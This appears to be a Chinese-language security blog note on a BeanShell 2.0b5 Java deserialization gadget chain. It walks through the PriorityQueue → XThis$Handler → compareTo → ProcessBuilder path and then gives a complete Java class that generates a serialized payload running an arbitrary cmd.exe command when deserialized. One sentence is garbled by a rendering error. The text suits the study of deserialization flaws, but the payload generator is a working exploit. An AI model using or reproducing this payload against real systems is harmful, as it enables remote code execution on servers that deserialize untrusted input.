beanshell 反序列化

beanshell 反序列化

依赖

<dependency><groupId>org.beanshell</groupId><artifactId>bsh</artifactId><version>2.0b5</version>
</dependency>

Gadget

/** Gadget:* PriorityQueue#readObject* XThis$Handler#invoke* XThis$Handler#invokeImpl* compareTo(自定义的函数字符串)* ProcessBuilder#start* */

用 XThis$Handler类作为处理器创建动态代理对象，并把代理对象放进PriorityQueue中，这时在反序列化PriorityQueue对象时调用XThis$Handler#invoke 方法，XThisKaTeX parse error: Expected 'EOF', got '#' at position 8: Handler#?invoke 方法调用 XTh…Handler#invokeImpl 方法

invokeImpl 调用 This#invokeMethod 方法，利用 PriorityQueue 触发代理对象的 invoke ，传入的 methodName 为 compareTo ，args 为 PriorityQueue 对象中的元素值

跟进 invokeMethod 方法，从 namespace 属性中获取获取 methodName 方法名，参数类型为 args 类型的 BshMethod ，然后执行

根据 PriorityQueue#siftDownComparable 方法可以知道 methodName 为 compareTo ，参数类型为元素的类型

最后就是怎么把方法放进 namespace 属性中了，Interpreter#eval 方法可以把一个字符串函数放进 Interpreter.globalNameSpace 属性中

最后实例化 XThis 对象时把 Interpreter.globalNameSpace 传进去即可

public class BeanShell {
    public static byte[] getSerializeData() throws Exception{
    String compareMethod =" compareTo(java.lang.String obj1) {\n" +" new ProcessBuilder(new String[]{\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"/c\",\""+ParseArgs.cmd+"\"}).start();\n" +" }";Interpreter interpreter = new Interpreter();interpreter.eval(compareMethod);XThis xThis = new XThis(interpreter.getNameSpace(),interpreter);InvocationHandler invocationHandler = (InvocationHandler) Reflect.reflectGetField(xThis, "invocationHandler");Comparable proxy = (Comparable) Proxy.newProxyInstance(Class.class.getClassLoader(), new Class[]{
    Comparable.class}, invocationHandler);PriorityQueue priorityQueue = new PriorityQueue();priorityQueue.add("1");priorityQueue.add("2");Object[] queue = (Object[]) Reflect.reflectGetField(priorityQueue, "queue");queue[0] = proxy;byte[] bytes = SerWithUnSer.serialize(priorityQueue);return bytes;}public static void main(String[] args) throws Exception{
    ParseArgs.parseArgs(args);byte[] bytes = getSerializeData();SerWithUnSer.unSerialize(bytes);}
}